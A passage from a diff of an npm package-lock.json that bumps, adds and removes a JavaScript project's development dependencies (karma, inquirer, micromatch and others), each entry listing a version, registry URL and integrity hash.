"sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true + } + } + }, + "extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "requires": { + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "requires": { + "is-descriptor": "1.0.2" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "dev": true, + "requires": { + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" + } + }, "is-extglob": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", @@ -4635,13 +6951,72 @@ "dev": true }, "is-glob": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", - "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.0.tgz", + "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", "dev": true, "requires": { "is-extglob": "2.1.1" } + }, + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true + }, + "lodash": { + "version": "4.17.10", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", + "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", + "dev": true + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "requires": { + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + } } } }, @@ -4657,9 +7032,9 @@ } }, "https-browserify": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/https-browserify/-/https-browserify-0.0.1.tgz", - "integrity": "sha1-P5E2XKvmC3ftDruiS0VOPgnZWoI=", + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/https-browserify/-/https-browserify-1.0.0.tgz", + "integrity": "sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=", "dev": true }, "hyphenate-style-name": { @@ -4678,16 +7053,31 @@ "integrity": "sha1-Bupvg2ead0njhs/h/oEq5dsiPe0=", "dev": true }, + "icss-utils": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-2.1.0.tgz", + "integrity": "sha1-g/Cg7DeL8yRheLbCrZE28TWxyWI=", + "dev": true, + "requires": { + "postcss": "6.0.23" + } + }, "ieee754": { - "version": "1.1.8", - "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.1.8.tgz", - "integrity": "sha1-vjPUCsEO8ZJnAfbwii2G+/0a0+Q=", + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.1.12.tgz", + "integrity": "sha512-GguP+DRY+pJ3soyIiGPTvdiVXjZ+DbXOxGpXn3eMvNW4x4irjqXm4wHKscC+TfxSJ0yw/S1F24tqdMNsMZTiLA==", + "dev": true + }, + "iferr": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/iferr/-/iferr-0.1.5.tgz", + "integrity": "sha1-xg7taebY/bazEEofy8ocGS3FtQE=", "dev": true }, "ignore": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-3.3.3.tgz", - "integrity": "sha1-QyNS5XrM2HqzEQ6C0/6g5HgSFW0=", + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz", + "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", "dev": true }, "immutable": { @@ -4695,6 +7085,16 @@ "resolved": "https://registry.npmjs.org/immutable/-/immutable-3.8.2.tgz", "integrity": "sha1-wkOZUUVbs5kT2vKBN28VMOEErfM=" }, + "import-local": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/import-local/-/import-local-1.0.0.tgz", + "integrity": "sha512-vAaZHieK9qjGo58agRBg+bhHX3hoTZU/Oa3GESWLz7t1U62fk63aHuDJJEteXoDeTCcPmUT+z38gkHPZkkmpmQ==", + "dev": true, + "requires": { + "pkg-dir": "2.0.0", + "resolve-cwd": "2.0.0" + } + }, "imurmurhash": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", @@ -4710,12 +7110,6 @@ "repeating": "2.0.1" } }, - "indexes-of": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/indexes-of/-/indexes-of-1.0.1.tgz", - "integrity": "sha1-8w9xbI4r00bHtn0985FVZqfAVgc=", - "dev": true - }, "indexof": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/indexof/-/indexof-0.0.1.tgz", @@ -4748,30 +7142,91 @@ } }, "inquirer": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-0.12.0.tgz", - "integrity": "sha1-HvK/1jUE3wvHV4X/+MLEHfEvB34=", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-5.2.0.tgz", + "integrity": "sha512-E9BmnJbAKLPGonz0HeWHtbKf+EeSP93paWO3ZYoUpq/aowXvYGjjCSuashhXPpzbArIjBbji39THkxTz9ZeEUQ==", "dev": true, "requires": { - "ansi-escapes": "1.4.0", - "ansi-regex": "2.1.1", - "chalk": "1.1.3", - "cli-cursor": "1.0.2", - "cli-width": "2.1.0", - "figures": "1.7.0", - "lodash": "4.17.4", - "readline2": "1.0.1", - "run-async": "0.1.0", - "rx-lite": "3.1.2", - "string-width": "1.0.2", - "strip-ansi": "3.0.1", + "ansi-escapes": "3.1.0", + "chalk": "2.4.1", + "cli-cursor": "2.1.0", + "cli-width": "2.2.0", + "external-editor": "2.2.0", + "figures": "2.0.0", + "lodash": "4.17.10", + "mute-stream": "0.0.7", + "run-async": "2.3.0", + "rxjs": "5.5.11", + "string-width": "2.1.1", + "strip-ansi": "4.0.0", "through": "2.3.8" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" + } + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "dev": true, + "requires": { + "ansi-regex": "3.0.0" + } + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "3.0.0" + } + } + } + }, + "internal-ip": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/internal-ip/-/internal-ip-1.2.0.tgz", + "integrity": "sha1-rp+/k7mEh4eF1QqN4bNWlWBYz1w=", + "dev": true, + "requires": { + "meow": "3.7.0" } }, "interpret": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.0.3.tgz", - "integrity": "sha1-y8NcYu7uc/Gat7EKgBURQBr8D5A=", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.1.0.tgz", + "integrity": "sha1-ftGxQQxqDg94z5XTuEQMY/eLhhQ=", "dev": true }, "invariant": { @@ -4782,18 +7237,33 @@ "loose-envify": "1.3.1" } }, - "ipaddr.js": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.4.0.tgz", - "integrity": "sha1-KWrKh4qCGBbluF0KKFqZvP9FgvA=", + "invert-kv": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz", + "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=", "dev": true }, - "is-absolute-url": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-absolute-url/-/is-absolute-url-2.1.0.tgz", - "integrity": "sha1-UFMN+4T8yap9vnhS6Do3uTufKqY=", + "ip": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/ip/-/ip-1.1.5.tgz", + "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=", "dev": true }, + "ipaddr.js": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.8.0.tgz", + "integrity": "sha1-6qM9bd16zo9/b+DJygRA5wZzix4=", + "dev": true + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + } + }, "is-arrayish": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", @@ -4825,28 +7295,58 @@ } }, "is-callable": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.1.3.tgz", - "integrity": "sha1-hut1OSgF3cM69xySoO7fdO52BLI=", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.1.4.tgz", + "integrity": "sha512-r5p9sxJjYnArLjObpjA4xu5EKI3CuKHkJXMhT7kwbpUyIFD1n5PMAsoPvWnvtZiNz7LjkYDRZhd7FlI0eMijEA==", "dev": true }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + } + }, "is-date-object": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.1.tgz", "integrity": "sha1-mqIOtq7rv/d/vTPnTKAbM1gdOhY=", "dev": true }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" + }, + "dependencies": { + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true + } + } + }, "is-dotfile": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/is-dotfile/-/is-dotfile-1.0.3.tgz", "integrity": "sha1-pqLzL/0t+wT1yiXs0Pa4PPeYoeE=", - "dev": true + "dev": true, + "optional": true }, "is-equal-shallow": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/is-equal-shallow/-/is-equal-shallow-0.1.3.tgz", "integrity": "sha1-IjgJj8Ih3gvPpdnqxMRdY4qhxTQ=", "dev": true, + "optional": true, "requires": { "is-primitive": "2.0.0" } @@ -4873,13 +7373,10 @@ } }, "is-fullwidth-code-point": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", - "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", - "dev": true, - "requires": { - "number-is-nan": "1.0.1" - } + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true }, "is-glob": { "version": "2.0.1", @@ -4890,23 +7387,12 @@ "is-extglob": "1.0.0" } }, - "is-my-json-valid": { - "version": "2.16.0", - "resolved": "https://registry.npmjs.org/is-my-json-valid/-/is-my-json-valid-2.16.0.tgz", - "integrity": "sha1-8Hndm/2uZe4gOKrorLyGqxCeNpM=", - "dev": true, - "requires": { - "generate-function": "2.0.0", - "generate-object-property": "1.2.0", - "jsonpointer": "4.0.1", - "xtend": "4.0.1" - } - }, "is-number": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/is-number/-/is-number-2.1.0.tgz", "integrity": "sha1-Afy7s5NGOlSPL0ZszhbezknbkI8=", "dev": true, + "optional": true, "requires": { "kind-of": "3.2.2" } @@ -4918,34 +7404,46 @@ "dev": true }, "is-path-in-cwd": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-path-in-cwd/-/is-path-in-cwd-1.0.0.tgz", - "integrity": "sha1-ZHdYK4IU1gI0YJRWcAO+ip6sBNw=", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-path-in-cwd/-/is-path-in-cwd-1.0.1.tgz", + "integrity": "sha512-FjV1RTW48E7CWM7eE/J2NJvAEEVektecDBVBE5Hh3nM1Jd0kvhHtX68Pr3xsDf857xt3Y4AkwVULK1Vku62aaQ==", "dev": true, "requires": { - "is-path-inside": "1.0.0" + "is-path-inside": "1.0.1" } }, "is-path-inside": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-1.0.0.tgz", - "integrity": "sha1-/AbloWg/vaE95mev9xe7wQpI838=", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-1.0.1.tgz", + "integrity": "sha1-jvW33lBDej/cprToZe96pVy0gDY=", "dev": true, "requires": { "path-is-inside": "1.0.2" } }, - "is-plain-obj": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", - "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=", - "dev": true + "is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", + "dev": true, + "requires": { + "isobject": "3.0.1" + }, + "dependencies": { + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + } + } }, "is-posix-bracket": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/is-posix-bracket/-/is-posix-bracket-0.1.1.tgz", "integrity": "sha1-MzTceXdDaOkvAW5vvAqI9c1ua8Q=", - "dev": true + "dev": true, + "optional": true }, "is-primitive": { "version": "2.0.0", @@ -4953,10 +7451,10 @@ "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=", "dev": true }, - "is-property": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-property/-/is-property-1.0.2.tgz", - "integrity": "sha1-V/4cTkhHTt1lsJkR8msc1Ald2oQ=", + "is-promise": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.1.0.tgz", + "integrity": "sha1-eaKp7OfwlugPNtKy87wWwf9L8/o=", "dev": true }, "is-regex": { @@ -4965,32 +7463,20 @@ "integrity": "sha1-VRdIm1RwkbCTDglWVM7SXul+lJE=", "dev": true, "requires": { - "has": "1.0.1" + "has": "1.0.3" } }, "is-resolvable": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-resolvable/-/is-resolvable-1.0.0.tgz", - "integrity": "sha1-jfV8YeouPFAUCNEA+wE8+NbgzGI=", - "dev": true, - "requires": { - "tryit": "1.0.3" - } + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-resolvable/-/is-resolvable-1.1.0.tgz", + "integrity": "sha512-qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg==", + "dev": true }, "is-stream": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=" }, - "is-svg": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-svg/-/is-svg-2.1.0.tgz", - "integrity": "sha1-z2EJDaDZ77yrhyLeum8DIgjbsOk=", - "dev": true, - "requires": { - "html-comment-regex": "1.1.1" - } - }, "is-symbol": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.1.tgz", @@ -5009,16 +7495,31 @@ "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=", "dev": true }, + "is-windows": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", + "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==", + "dev": true + }, + "is-wsl": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-1.1.0.tgz", + "integrity": "sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0=", + "dev": true + }, "isarray": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=" }, "isbinaryfile": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-3.0.2.tgz", - "integrity": "sha1-Sj6XTsDLqQBNP8bN5yCeppNopiE=", - "dev": true + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-3.0.3.tgz", + "integrity": "sha512-8cJBL5tTd2OS0dM4jz07wQd5g0dCCqIhUxPIGtZfa5L6hWlvV5MHTITy/DBAsF+Oe2LS1X3krBUhNwaGUWpWxw==", + "dev": true, + "requires": { + "buffer-alloc": "1.2.0" + } }, "isexe": { "version": "2.0.0", @@ -5031,6 +7532,7 @@ "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", "dev": true, + "optional": true, "requires": { "isarray": "1.0.0" }, @@ -5039,7 +7541,8 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true + "dev": true, + "optional": true } } }, @@ -5069,7 +7572,7 @@ "escodegen": "1.8.1", "esprima": "2.7.3", "glob": "5.0.15", - "handlebars": "4.0.10", + "handlebars": "4.0.11", "js-yaml": "3.7.0", "mkdirp": "0.5.1", "nopt": "3.0.6", @@ -5110,12 +7613,6 @@ } } }, - "js-base64": { - "version": "2.1.9", - "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.1.9.tgz", - "integrity": "sha1-8OgK4DmkvWVLXygfyT8EqRSn/M4=", - "dev": true - }, "js-file-download": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/js-file-download/-/js-file-download-0.4.1.tgz", @@ -5154,6 +7651,12 @@ "resolved": "https://registry.npmjs.org/json-loader/-/json-loader-0.5.7.tgz", "integrity": "sha512-QLPs8Dj7lnf3e3QYS1zkCo+4ZwqOiF9d/nZnYozTISxXWCfNs9yuky5rJw4/W34s7POaNlbZmQGaB5NiXCbP4w==" }, + "json-parse-better-errors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", + "dev": true + }, "json-schema": { "version": "0.2.3", "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", @@ -5163,17 +7666,13 @@ "json-schema-traverse": { "version": "0.3.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.3.1.tgz", - "integrity": "sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A=", - "dev": true + "integrity": "sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A=" }, - "json-stable-stringify": { + "json-stable-stringify-without-jsonify": { "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-1.0.1.tgz", - "integrity": "sha1-mnWdOcXy/1A/1TAGRu1EX4jE+a8=", - "dev": true, - "requires": { - "jsonify": "0.0.0" - } + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", + "dev": true }, "json-stringify-safe": { "version": "5.0.1", @@ -5202,23 +7701,6 @@ "graceful-fs": "4.1.11" } }, - "jsonify": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.0.tgz", - "integrity": "sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=", - "dev": true - }, - "jsonpointer": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/jsonpointer/-/jsonpointer-4.0.1.tgz", - "integrity": "sha1-T9kss04OnbPInIYi7PUfm5eMbLk=", - "dev": true - }, - "jsonschema": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/jsonschema/-/jsonschema-1.2.2.tgz", - "integrity": "sha512-iX5OFQ6yx9NgbHCwse51ohhKgLuLL7Z5cNOeZOPIlDUtAMrxlruHLzVZxbltdHE5mEDXN+75oFOwq6Gn0MZwsA==" - }, "jsprim": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", @@ -5232,10 +7714,13 @@ } }, "jsx-ast-utils": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-1.4.1.tgz", - "integrity": "sha1-OGchPo3Xm/Ho8jAMDPwe+xgsDfE=", - "dev": true + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-2.0.1.tgz", + "integrity": "sha1-6AGxs5mF4g//yHtA43SAgOLcrH8=", + "dev": true, + "requires": { + "array-includes": "3.0.3" + } }, "jwt-decode": { "version": "2.2.0", @@ -5243,44 +7728,925 @@ "integrity": "sha1-fYa9VmefWM5qhHBKZX3TkruoGnk=" }, "karma": { - "version": "1.7.1", - "resolved": "https://registry.npmjs.org/karma/-/karma-1.7.1.tgz", - "integrity": "sha512-k5pBjHDhmkdaUccnC7gE3mBzZjcxyxYsYVaqiL2G5AqlfLyBO5nw2VdNK+O16cveEPd/gIOWULH7gkiYYwVNHg==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/karma/-/karma-3.0.0.tgz", + "integrity": "sha512-ZTjyuDXVXhXsvJ1E4CnZzbCjSxD6sEdzEsFYogLuZM0yqvg/mgz+O+R1jb0J7uAQeuzdY8kJgx6hSNXLwFuHIQ==", "dev": true, "requires": { - "bluebird": "3.5.0", - "body-parser": "1.17.2", - "chokidar": "1.7.0", - "colors": "1.1.2", + "bluebird": "3.5.1", + "body-parser": "1.18.3", + "chokidar": "2.0.4", + "colors": "1.3.1", "combine-lists": "1.0.1", - "connect": "3.6.3", - "core-js": "2.5.6", + "connect": "3.6.6", + "core-js": "2.5.7", "di": "0.0.1", "dom-serialize": "2.2.1", "expand-braces": "0.1.2", "glob": "7.1.2", "graceful-fs": "4.1.11", - "http-proxy": "1.16.2", - "isbinaryfile": "3.0.2", - "lodash": "3.10.1", - "log4js": "0.6.38", - "mime": "1.3.6", + "http-proxy": "1.17.0", + "isbinaryfile": "3.0.3", + "lodash": "4.17.10", + "log4js": "3.0.5", + "mime": "2.3.1", "minimatch": "3.0.4", "optimist": "0.6.1", - "qjobs": "1.1.5", + "qjobs": "1.2.0", "range-parser": "1.2.0", "rimraf": "2.6.2", "safe-buffer": "5.1.1", - "socket.io": "1.7.3", - 